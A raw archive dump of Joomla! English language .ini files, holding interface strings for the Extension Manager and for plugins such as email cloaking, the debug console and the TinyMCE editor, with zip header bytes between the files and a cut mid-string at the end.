COM_INSTALLER_EXTENSION_PROTECTED="Protected extension" COM_INSTALLER_EXTENSION_PUBLISHED="Extension successfully enabled." COM_INSTALLER_EXTENSION_UNPUBLISHED="Extension successfully disabled." COM_INSTALLER_FAILED_TO_ENABLE_UPDATES=", failed to enable updates" COM_INSTALLER_FAILED_TO_PURGE_UPDATES="Failed to purge updates" COM_INSTALLER_HEADER_DATABASE="Extension Manager: Check Database" COM_INSTALLER_HEADER_DISCOVER="Extension Manager: Discover" COM_INSTALLER_HEADER_INSTALL="Extension Manager: Install" COM_INSTALLER_HEADER_MANAGE="Extension Manager: Manage" COM_INSTALLER_HEADER_UPDATE="Extension Manager: Update" COM_INSTALLER_HEADER_WARNINGS="Extension Manager: Warnings" COM_INSTALLER_HEADING_CLIENT="Client" COM_INSTALLER_HEADING_LOCATION="Location" COM_INSTALLER_HEADING_DETAILSURL="URL Details" COM_INSTALLER_HEADING_FOLDER="Folder" COM_INSTALLER_HEADING_ID="ID" COM_INSTALLER_HEADING_INSTALLTYPE="Install Type" COM_INSTALLER_HEADING_NAME="Name" COM_INSTALLER_HEADING_TYPE="Type" COM_INSTALLER_INSTALL_BUTTON="Install" COM_INSTALLER_INSTALL_DIRECTORY="Install Directory" COM_INSTALLER_INSTALL_ERROR="Error installing %s" COM_INSTALLER_INSTALL_FROM_DIRECTORY="Install from Directory" COM_INSTALLER_INSTALL_FROM_URL="Install from URL" COM_INSTALLER_INSTALL_SUCCESS="Installing %s was successful." COM_INSTALLER_INSTALL_URL="Install URL" COM_INSTALLER_INVALID_EXTENSION_UPDATE="Invalid extension update" COM_INSTALLER_LABEL_HIDEPROTECTED_DESC="Hide protected extensions. Protected extensions can't be uninstalled." COM_INSTALLER_LABEL_HIDEPROTECTED_LABEL="Hide protected extensions" COM_INSTALLER_MSG_DESCFTP="For installing or uninstalling Extensions, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_INSTALLER_MSG_DESCFTPTITLE="FTP Login Details" COM_INSTALLER_MSG_DATABASE_CHECKED_OK="%s database changes were checked successfully." COM_INSTALLER_MSG_DATABASE_SKIPPED="%s database changes did not alter table structure and were skipped." COM_INSTALLER_MSG_DATABASE_DRIVER="Database driver: %s." COM_INSTALLER_MSG_DATABASE_SCHEMA_VERSION="Database schema version (in #__schemas): %s." COM_INSTALLER_MSG_DATABASE_UPDATE_VERSION="Update version (in #__extensions): %s." COM_INSTALLER_MSG_DATABASE_OK="Database table structure is up to date." COM_INSTALLER_MSG_DATABASE="This screen allows to you check that your database table structure is up to date with changes from the previous versions." COM_INSTALLER_MSG_DATABASE_ERRORS="Warning: Database is not up to date!" COM_INSTALLER_MSG_DATABASE_CHANGE_COLUMN_TYPE="Table %2$s does not have column %3$s with type %4$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_CREATE_TABLE="Table %2$s does not exist. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_ADD_COLUMN="Table %2$s does not have column %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_ADD_INDEX="Table %2$s does not have index %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_DROP_INDEX="Table %2$s should not have index %3$s. (From file %1$s.)" COM_INSTALLER_MSG_DATABASE_FILTER_ERROR="No default text filters found." COM_INSTALLER_MSG_DATABASE_UPDATEVERSION_ERROR="Database update version (%s) does not match CMS version (%s)." COM_INSTALLER_MSG_DATABASE_INFO="Other Information" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL="%d Database Problems Found" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL_1="1 Database Problem Found" COM_INSTALLER_MSG_DATABASE_SCHEMA_ERROR="Database schema version (%s) does not match CMS version (%s)." COM_INSTALLER_MSG_DISCOVER_DESCRIPTION="This screen allows you to discover extensions that have not gone through the normal installation process.
            For example, some extensions are too large in file size to upload using the web interface due to limitations of the web hosting environment. Using this feature you can upload extension files directly to your web server using some other means such as FTP or SFTP and place those extension files into the appropriate directory.
            You can then use the discover feature to find the newly uploaded extension and activate it in your Joomla! installation.
            Using the discover operation you can also discover and install multiple extensions at the same time." COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS="Failed to purge extensions" COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED="Discover install failed" COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL="Discover install successful" COM_INSTALLER_MSG_DISCOVER_NOEXTENSION="No extensions have been discovered. Click Discover to find new extensions that might be available for install." COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED="No extension selected" COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS="Purged discovered extensions" COM_INSTALLER_MSG_INSTALL_ENTER_A_URL="Please enter a URL" COM_INSTALLER_MSG_INSTALL_INVALID_URL="Invalid URL" COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED="No file selected" COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE="Path does not have a valid package." COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY="Please enter a package directory" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_DIRECTORY="Please select a directory" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_PACKAGE="Please select a package location" COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE="The installer cannot continue until file uploads are enabled for the server." COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR="There was an error uploading this file to the server." COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB="The installer cannot continue until Zlib is installed." COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_MANIFEST="The installer can't get the url to the XML manifest file of the %s language." COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_PACKAGE="The installer can't get the url to the remote %s language." COM_INSTALLER_MSG_LANGUAGES_TRY_LATER="Try again later or contact the language team coordinator" COM_INSTALLER_MSG_MANAGE_NOEXTENSION="There are no extensions installed matching your query" COM_INSTALLER_MSG_UPDATE_ERROR="Error updating %s." COM_INSTALLER_MSG_UPDATE_NODESC="No description available for this item." COM_INSTALLER_MSG_UPDATE_NOUPDATES="There are no updates available at the moment. Please check again later." COM_INSTALLER_MSG_UPDATE_SUCCESS="Updating %s was successful." COM_INSTALLER_MSG_UPDATE_UPDATE="Update" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADSDISABLED="File uploads disabled" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADISDISABLEDDESC="File uploads are required to upload extensions into the installer." COM_INSTALLER_MSG_WARNINGFURTHERINFO="Further information on warnings" COM_INSTALLER_MSG_WARNINGFURTHERINFODESC="For more information on warnings, see the Joomla! Documentation Site" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET="The Joomla! temporary directory is not set" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC="The Joomla! temporary directory is where Joomla! copies an extension, extracts the extension and the files are copied into the correct directories. If this configuration is not set in configuration.php ($tmp_path) then you won't be able to upload extensions. Create a directory to enable Joomla! to write to the directory to fix the issue." COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE="Joomla temporary directory not writable or does not exist" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC="The Joomla temporary directory is not writeable by the Joomla! instance, or may not exist, which may cause issues when attempting to upload extensions to Joomla!. If you are having issues uploading extensions, make sure the directory defined in your configuration.php exists or check the '%s' and set it to be writeable and see if this fixes the issue." COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC="Low PHP Memory Limit" COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN="Your PHP memory limit is set below 8MB which may cause some issues when installing large extensions. Please set your memory limit to at least 16MB." COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC="Potentially low PHP Memory Limit" COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN="Your PHP memory limit is set below 16MB which may cause some issues when installing large extensions. Please set your memory limit to at least 16MB." COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE="Small PHP maximum POST size" COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC="The maximum POST size sets the most amount of data that can be sent via POST to the server. This includes form submissions for articles, media (images, videos) and extensions. This value is less than 2MB which may impact on uploading large extensions. This is set in the php.ini under post_max_size" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE="Small PHP file upload size" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC="The maximum file size for uploads is set to less than 2MB which may impact on uploading large extensions." COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST="PHP Upload Size bigger than POST size" COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC="The value of the upload_max_filesize in the php.ini file is greater than the post_max_size variable. The post_max_size variable will take precedence here and block requests larger than it. This is generally a server misconfiguration when trying to increase upload sizes. Please increase the upload_max_filesize to at least match the post_max_size variable or vice versa" COM_INSTALLER_MSG_WARNINGS_NONE="No warnings detected" COM_INSTALLER_MSG_WARNINGS_NOTCOMPLETE="

            Warning: Update Not Complete!

            The update is only partially complete. Please do the second update to complete the process.

            " COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET="The PHP temporary directory is not set" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC="The PHP temporary directory is the directory that PHP uses to store an uploaded file before Joomla! can access this file. Whilst the directory not being set isn't always a problem, if you are having issues with manifest files not being detected or uploaded files not being detected, setting this in your php.ini file might fix the issue." COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE="The PHP temporary directory is not writeable" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC="The PHP temporary directory is not writeable by the Joomla! instance, which may cause issues when attempting to upload extensions to Joomla!. If you are having issues uploading extensions, check the '%s' and set it to be writeable and see if this fixes the issue." COM_INSTALLER_N_EXTENSIONS_PUBLISHED="%d extensions successfully enabled." COM_INSTALLER_N_EXTENSIONS_PUBLISHED_1="%d extension successfully enabled." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED="%d extensions successfully disabled." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED_1="%d extension successfully disabled." COM_INSTALLER_NEW_INSTALL="New install" COM_INSTALLER_NO_INSTALL_TYPE_FOUND="No Install Type Found" COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED="Package download failed: %s" COM_INSTALLER_PACKAGE_FILE="Package File" COM_INSTALLER_PURGED_UPDATES="Purged updates" COM_INSTALLER_SUBMENU_DATABASE="Database" COM_INSTALLER_SUBMENU_DISCOVER="Discover" COM_INSTALLER_SUBMENU_INSTALL="Install" COM_INSTALLER_SUBMENU_MANAGE="Manage" COM_INSTALLER_SUBMENU_UPDATE="Update" COM_INSTALLER_SUBMENU_WARNINGS="Warnings" COM_INSTALLER_TITLE_DATABASE="Extension manager - Database" COM_INSTALLER_TITLE_DISCOVER="Extension manager - Discover" COM_INSTALLER_TITLE_INSTALL="Extension manager - Install" COM_INSTALLER_TITLE_LANGUAGES="Extension manager - Install Languages" COM_INSTALLER_TITLE_MANAGE="Extension manager - Manage" COM_INSTALLER_TITLE_UPDATE="Extension manager - Update" COM_INSTALLER_TITLE_WARNINGS="Extension manager - Warnings" COM_INSTALLER_TOOLBAR_DISCOVER="Discover" COM_INSTALLER_TOOLBAR_FIND_UPDATES="Find Updates" COM_INSTALLER_TOOLBAR_UPDATE="Update" COM_INSTALLER_TOOLBAR_DATABASE_FIX="Fix" COM_INSTALLER_TYPE_CLIENT="Location" COM_INSTALLER_TYPE_COMPONENT="Component" COM_INSTALLER_TYPE_FILE="File" COM_INSTALLER_TYPE_LANGUAGE="Language" COM_INSTALLER_TYPE_LIBRARY="Library" COM_INSTALLER_TYPE_MODULE="Module" COM_INSTALLER_TYPE_NONAPPLICABLE="N/A" COM_INSTALLER_TYPE_PACKAGE="Package" COM_INSTALLER_TYPE_PLUGIN="Plugin" COM_INSTALLER_TYPE_TEMPLATE="Template" COM_INSTALLER_TYPE_TYPE_COMPONENT="component" COM_INSTALLER_TYPE_TYPE_FILE="file" COM_INSTALLER_TYPE_TYPE_LANGUAGE="language" COM_INSTALLER_TYPE_TYPE_LIBRARY="library" COM_INSTALLER_TYPE_TYPE_MODULE="module" COM_INSTALLER_TYPE_TYPE_PACKAGE="package" COM_INSTALLER_TYPE_TYPE_PLUGIN="plugin" COM_INSTALLER_TYPE_TYPE_TEMPLATE="template" COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE="Unable to find install package" COM_INSTALLER_UNINSTALL_ERROR="Error uninstalling %s." COM_INSTALLER_UNINSTALL_SUCCESS="Uninstalling %s was successful." COM_INSTALLER_UPLOAD_AND_INSTALL="Upload & Install" COM_INSTALLER_UPLOAD_PACKAGE_FILE="Upload Package File" COM_INSTALLER_VALUE_CLIENT_SELECT="- Select Location -" COM_INSTALLER_VALUE_FOLDER_NONAPPLICABLE="N/A" COM_INSTALLER_VALUE_FOLDER_SELECT="- Select Folder -" COM_INSTALLER_VALUE_STATE_SELECT="- Select Status -" COM_INSTALLER_VALUE_TYPE_SELECT="- Select Type -" COM_INSTALLER_XML_DESCRIPTION="Installer component for adding, removing and upgrading extensions" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." COM_INSTALLER_PREFERENCES_LABEL="Preferences" COM_INSTALLER_PREFERENCES_DESCRIPTION="Fine-tune how extensions installation and updates work" COM_INSTALLER_CACHETIMEOUT_LABEL="Updates caching (in hours)" COM_INSTALLER_CACHETIMEOUT_DESC="For how many hours should Joomla! cache extension update information" COM_INSTALLER_SUBMENU_LANGUAGES="Install languages" COM_INSTALLER_TOOLBAR_INSTALL="Install" COM_INSTALLER_TOOLBAR_FIND_LANGUAGES="Find languages" COM_INSTALLER_LANGUAGES_AVAILABLE_LANGUAGES="Available Languages" COM_INSTALLER_HEADER_LANGUAGES="Install Accredited Language Translations" COM_INSTALLER_HEADING_DETAILS_URL="Details URL" COM_INSTALLER_MSG_LANGUAGES_NOLANGUAGES="There are no available languages to install at the moment. Please click on the "Purge Cache" and "Find languages" buttons to check for updates on the Joomla Languages server. You will need an internet connection for this to work." COM_INSTALLER_LANGUAGES_FILTER_SEARCH_DESC="Search by language name." PK@y>\4  ,language/en-US/en-US.plg_search_contacts.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTACTS="Search - Contacts" PLG_SEARCH_CONTACTS_CONTACTS="Contacts" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Enables searching of the Contact Component"PK@y>\e^^/language/en-US/en-US.plg_content_emailcloak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_EMAILCLOAK="Content - Email Cloaking" PLG_CONTENT_EMAILCLOAK_LINKABLE="As linkable mailto address" PLG_CONTENT_EMAILCLOAK_MODE_DESC="Select how emails will be displayed" PLG_CONTENT_EMAILCLOAK_MODE_LABEL="Mode" PLG_CONTENT_EMAILCLOAK_NONLINKABLE="Non-linkable Text" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Cloaks all emails in content from spambots using JavaScript"PK@y>\GG&language/en-US/en-US.com_admin.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIN="Admin - System Infos" COM_ADMIN_XML_DESCRIPTION="Administration system infos component" PK@y>\&0language/en-US/en-US.plg_user_contactcreator.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_CONTACTCREATOR_ERR_FAILED_UPDATE="Failed to update contact: %s" PLG_CONTACTCREATOR_ERR_NO_CATEGORY="Contact automatic creation failed because contact category is not set!" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_DESC="A formatted string to automatically generate a contact's web page. [name] is replaced with the name, [username] is replaced with the username, [userid] is replaced with the user ID and [email] is replaced with the email" PLG_CONTACTCREATOR_FIELD_AUTOMATIC_WEBPAGE_LABEL="Automatic Webpage" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_DESC="Optionally have the contact default to published or unpublished" PLG_CONTACTCREATOR_FIELD_AUTOPUBLISH_LABEL="Autopublish the contact" PLG_CONTACTCREATOR_FIELD_CATEGORY_DESC="Category to assign contacts to by default" PLG_CONTACTCREATOR_XML_DESCRIPTION="Plugin to automatically create contact information for new users" PLG_USER_CONTACTCREATOR="User - Contact Creator" PK@y>\=e0language/en-US/en-US.plg_system_languagecode.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="System - Language Code" PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Changes the language code used for the %s language" PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Changes the language code for the generated HTML document. Example of use: One has installed the fr-FR language pack and wants the Search Engines to recognize the page as aimed at French-speaking Canada. Add the tag 'fr-CA' to the corresponding field for 'fr-FR' to resolve this." PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Language codes" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides the ability to change the language code in the generated HTML document to improve SEO.
            The fields will appear when the plugin is enabled and saved.
            More information at W3.org " PK@y>\×-language/en-US/en-US.plg_finder_newsfeeds.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Smart Search - Newsfeeds" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="This plugin indexes Joomla! Newsfeeds." PLG_FINDER_QUERY_FILTER_BRANCH_S_NEWS_FEED="News feed" PLG_FINDER_QUERY_FILTER_BRANCH_P_NEWS_FEED="News feeds" PK@y>\̈WW-language/en-US/en-US.com_joomlaupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_JOOMLAUPDATE="Joomla! Update" COM_JOOMLAUPDATE_XML_DESCRIPTION="One-click update to the latest Joomla! release"PK@y>\k | )language/en-US/en-US.plg_system_debug.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_DEBUG_ERRORS="Errors" PLG_DEBUG_FIELD_ALLOWED_GROUPS_DESC="Optionally restrict users that can see debug information to those in the selected user groups. If none selected, all users see the debug information." PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL="Allowed Groups" PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_DESC="Display a list of the language files that are in error according to the Joomla ini specification." PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL="Show errors when parsing language files" PLG_DEBUG_FIELD_LANGUAGE_FILES_DESC="Display a list of the language files that Joomla has tried to load." PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL="Show Language Files" PLG_DEBUG_FIELD_LANGUAGE_STRING_DESC="Display a list of the untranslated language strings." PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL="Show Language String" PLG_DEBUG_FIELD_LOG_DEPRECATED_DESC="If enabled, API marked as deprecated will be logged. Only use this setting for short periods of time for refactoring purposes." PLG_DEBUG_FIELD_LOG_DEPRECATED_LABEL="Log deprecated API" PLG_DEBUG_FIELD_MEMORY_DESC="Display the total memory usage." PLG_DEBUG_FIELD_MEMORY_LABEL="Show Memory Usage" PLG_DEBUG_FIELD_PROFILING_DESC="Display the profiling waypoints." PLG_DEBUG_FIELD_PROFILING_LABEL="Show Profiling" PLG_DEBUG_FIELD_QUERIES_DESC="Display a list the queries executed while displaying the page." PLG_DEBUG_FIELD_QUERIES_LABEL="Show Queries" PLG_DEBUG_FIELD_QUERY_TYPES_DESC="Display a list of unique query types and their number of occurrences for the current page. Useful for finding out about repeated queries that are either redundant or which can be grouped into a single, more efficient query." PLG_DEBUG_FIELD_QUERY_TYPES_LABEL="Show Query Types" PLG_DEBUG_FIELD_STRIP_FIRST_DESC="In multi-word strings, always strip the first word." PLG_DEBUG_FIELD_STRIP_FIRST_LABEL="Strip First Word" PLG_DEBUG_FIELD_STRIP_PREFIX_DESC="Strip words from the beginning of the string. For multiple words, use the format: (word1|word2)" PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL="Strip From Start" PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC="Strip words from the end of the string. For multiple words, use the format: (word1|word2)" PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL="Strip From End" PLG_DEBUG_LANG_LOADED="Loaded" PLG_DEBUG_LANG_NOT_LOADED="Not loaded" PLG_DEBUG_LANGUAGE_FIELDSET_LABEL="Language Options" PLG_DEBUG_LANGUAGE_FILES_IN_ERROR="Parsing errors in language files" PLG_DEBUG_LANGUAGE_FILES_LOADED="Language Files Loaded" PLG_DEBUG_LOGGING_FIELDSET_LABEL="Logging" PLG_DEBUG_MEMORY_USAGE="Memory Usage" PLG_DEBUG_OTHER_QUERIES="OTHER Tables:" PLG_DEBUG_PROFILE_INFORMATION="Profile Information" PLG_DEBUG_QUERIES="Database Queries" PLG_DEBUG_QUERIES_LOGGED="%d Queries Logged" PLG_DEBUG_QUERY_TYPES_LOGGED="%d Query Types Logged, Sorted by Occurrences." PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES="%2$d × %1$s" PLG_DEBUG_SELECT_QUERIES="SELECT Tables:" PLG_DEBUG_SESSION="Session" PLG_DEBUG_TITLE="Joomla! Debug Console" PLG_DEBUG_UNKNOWN_FILE="Unknown file" PLG_DEBUG_UNTRANSLATED_STRINGS="Untranslated Strings" PLG_DEBUG_XML_DESCRIPTION="This plugin provides a variety of system information as well as assistance for the creation of translation files." PLG_SYSTEM_DEBUG="System - Debug" PK@y>\s4FF*language/en-US/en-US.com_templates.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TEMPLATES="Template Manager" COM_TEMPLATES_XML_DESCRIPTION="This component manages templates" PK@y>\ >D##,language/en-US/en-US.plg_editors_tinymce.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_BUTTON_TOGGLE_EDITOR="Toggle editor" PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT="The file name %s was entered in the TinyMCE Custom CSS field. This file could not be found in the default template folder. No styles are available." PLG_TINY_ERR_EDITORCSSFILENOTPRESENT="Could not find the file 'editor.css' in the template or templates/system folder. No styles are available." PLG_TINY_FIELD_ADVIMAGE_DESC="Turn on/off a more advanced image dialog" PLG_TINY_FIELD_ADVIMAGE_LABEL="Advanced image" PLG_TINY_FIELD_ADVLINK_DESC="Turn on/off a more advanced link dialog" PLG_TINY_FIELD_ADVLINK_LABEL="Advanced link" PLG_TINY_FIELD_ADVLIST_DESC="Turn on/off to enable to set number formats and bullet types in ordered and unordered lists" PLG_TINY_FIELD_ADVLIST_LABEL="Advanced List" PLG_TINY_FIELD_BLOCKQUOTE_DESC="Turn on/off Blockquotes" PLG_TINY_FIELD_BLOCKQUOTE_LABEL="Blockquote" PLG_TINY_FIELD_COLORS_DESC="Show/Hide the Colours control buttons. Only applies in Extended mode" PLG_TINY_FIELD_COLORS_LABEL="Colours" PLG_TINY_FIELD_CONTEXTMENU_DESC="Turn on/off Context menu" PLG_TINY_FIELD_CONTEXTMENU_LABEL="Context menu" PLG_TINY_FIELD_CSS_DESC="By default the Plug-in looks for an editor.css file. If it cannot find one in the default template css folder, it loads the editor.css file from the system template." PLG_TINY_FIELD_CSS_LABEL="Template CSS classes" PLG_TINY_FIELD_CUSTOM_CSS_DESC="Optional CSS file that will override the standard editor.css file. Enter a file name to point to a file in the CSS folder of the default template (for example, templates/beez_20/css/). Or enter a full URL path to the custom CSS file. If you enter a value in this field, this file will be used instead of the editor.css file." PLG_TINY_FIELD_CUSTOM_CSS_LABEL="Custom CSS classes" PLG_TINY_FIELD_CUSTOMBUTTON_DESC="Add custom button(s)" PLG_TINY_FIELD_CUSTOMBUTTON_LABEL="Custom button" PLG_TINY_FIELD_CUSTOMPLUGIN_DESC="Add custom plugin(s)" PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL="Custom plugin" PLG_TINY_FIELD_DATE_DESC="Show/Hide the Insert Date button. Only works in Extended mode." PLG_TINY_FIELD_DATE_LABEL="Insert Date" PLG_TINY_FIELD_DATEFORMAT_DESC="Format of inserted date. Only works in Extended Mode." PLG_TINY_FIELD_DATEFORMAT_LABEL="Date Format" PLG_TINY_FIELD_DIRECTION_DESC="Choose default text direction" PLG_TINY_FIELD_DIRECTION_LABEL="Text Direction" PLG_TINY_FIELD_ELEMENTS_DESC="Allows the addition of specific valid elements to the existing rule set." PLG_TINY_FIELD_ELEMENTS_LABEL="Extended Valid Elements" PLG_TINY_FIELD_ENCODING_DESC="Controls how HTML entities are encoded. Recommended setting is 'raw'. 'named' = used named entity encoding (for example, '<'). 'numeric' = use numeric HTML encoding (for example, '%03c'). raw = Do not encode HTML entities. Note that searching content may not work properly if setting is not 'raw'." PLG_TINY_FIELD_ENCODING_LABEL="Entity Encoding" PLG_TINY_FIELD_FONTS_DESC="Show/Hide the Fonts control selectors. Only applies in Extended mode" PLG_TINY_FIELD_FONTS_LABEL="Fonts" PLG_TINY_FIELD_FULLSCREEN_DESC="Show/Hide the Fullscreen button. Only works in Extended mode." PLG_TINY_FIELD_FULLSCREEN_LABEL="Fullscreen" PLG_TINY_FIELD_FUNCTIONALITY_DESC="Select Functionality" PLG_TINY_FIELD_FUNCTIONALITY_LABEL="Functionality" PLG_TINY_FIELD_HR_DESC="Show/Hide the Horizontal Rule button" PLG_TINY_FIELD_HR_LABEL="Horizontal Rule" PLG_TINY_FIELD_HTMLHEIGHT_DESC="Height of HTML mode pop-up window. Only works in Extended mode." PLG_TINY_FIELD_HTMLHEIGHT_LABEL="HTML Height" PLG_TINY_FIELD_HTMLWIDTH_DESC="Width of HTML mode pop-up window. Only works in Extended mode." PLG_TINY_FIELD_HTMLWIDTH_LABEL="HTML Width" PLG_TINY_FIELD_INLINEPOPUPS_DESC="All dialogs to open as floating DIV layers instead of popup windows. This option can be very useful in order to get around popup blockers." PLG_TINY_FIELD_INLINEPOPUPS_LABEL="Inline popups" PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS="Advanced parameters" PLG_TINY_FIELD_LANGCODE_DESC="Editor UI Language. A value here is mandatory if manual language selection is set." PLG_TINY_FIELD_LANGCODE_LABEL="Language Code" PLG_TINY_FIELD_LANGSELECT_DESC="If Yes, editor language will automatically match selected UI language. Do not activate if appropriate editor languages are not installed." PLG_TINY_FIELD_LANGSELECT_LABEL="Automatic Language Selection" PLG_TINY_FIELD_LAYER_DESC="Show/Hide the Add new Layer button. Only works in Extended mode." PLG_TINY_FIELD_LAYER_LABEL="Layer" PLG_TINY_FIELD_MEDIA_DESC="Show/Hide the Media button. Only applies in Extended mode" PLG_TINY_FIELD_MEDIA_LABEL="Media" PLG_TINY_FIELD_NAME_EXTENDED_LABEL="Extended Mode Options
